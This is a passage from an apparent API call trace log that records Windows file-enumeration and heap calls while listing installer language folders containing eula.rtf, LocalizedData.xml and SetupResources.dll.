	[0041.385] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1
	[0041.385] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
	[0041.385] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7430f0
	[0041.386] FindNextFileW (in: hFindFile=0x7430f0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.386] FindNextFileW (in: hFindFile=0x7430f0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x22ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.386] FindNextFileW (in: hFindFile=0x7430f0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.387] FindNextFileW (in: hFindFile=0x7430f0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.387] FindNextFileW (in: hFindFile=0x7430f0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.387] FindClose (in: hFindFile=0x7430f0 | out: hFindFile=0x7430f0) returned 1
	[0041.387] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0041.387] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1
	[0041.387] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
	[0041.387] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742ff0
	[0041.389] FindNextFileW (in: hFindFile=0x742ff0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.389] FindNextFileW (in: hFindFile=0x742ff0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0xd723cc00, ftLastWriteTime.dwHighDateTime=0x1cabb47, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.389] FindNextFileW (in: hFindFile=0x742ff0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.389] FindNextFileW (in: hFindFile=0x742ff0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.389] FindNextFileW (in: hFindFile=0x742ff0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.389] FindClose (in: hFindFile=0x742ff0 | out: hFindFile=0x742ff0) returned 1
	[0041.390] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0041.390] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1
	[0041.390] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
	[0041.390] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742ff0
	[0041.391] FindNextFileW (in: hFindFile=0x742ff0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.392] FindNextFileW (in: hFindFile=0x742ff0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.392] FindNextFileW (in: hFindFile=0x742ff0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.392] FindNextFileW (in: hFindFile=0x742ff0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.392] FindNextFileW (in: hFindFile=0x742ff0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.392] FindClose (in: hFindFile=0x742ff0 | out: hFindFile=0x742ff0) returned 1
	[0041.393] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0041.393] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1
	[0041.393] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
	[0041.393] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742b70
	[0041.395] FindNextFileW (in: hFindFile=0x742b70, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.395] FindNextFileW (in: hFindFile=0x742b70, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.395] FindNextFileW (in: hFindFile=0x742b70, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.395] FindNextFileW (in: hFindFile=0x742b70, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.395] FindNextFileW (in: hFindFile=0x742b70, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.395] FindClose (in: hFindFile=0x742b70 | out: hFindFile=0x742b70) returned 1
	[0041.396] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0041.396] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1
	[0041.396] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
	[0041.396] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742ff0
	[0041.408] FindNextFileW (in: hFindFile=0x742ff0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.408] FindNextFileW (in: hFindFile=0x742ff0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.409] FindNextFileW (in: hFindFile=0x742ff0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.409] FindNextFileW (in: hFindFile=0x742ff0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.409] FindNextFileW (in: hFindFile=0x742ff0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.409] FindClose (in: hFindFile=0x742ff0 | out: hFindFile=0x742ff0) returned 1
	[0041.410] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0041.410] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1
	[0041.410] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
	[0041.410] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742ef0
	[0041.410] FindNextFileW (in: hFindFile=0x742ef0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.410] FindNextFileW (in: hFindFile=0x742ef0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x109e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.410] FindNextFileW (in: hFindFile=0x742ef0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.410] FindNextFileW (in: hFindFile=0x742ef0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.410] FindNextFileW (in: hFindFile=0x742ef0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.410] FindClose (in: hFindFile=0x742ef0 | out: hFindFile=0x742ef0) returned 1
	[0041.410] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0041.410] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1
	[0041.410] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
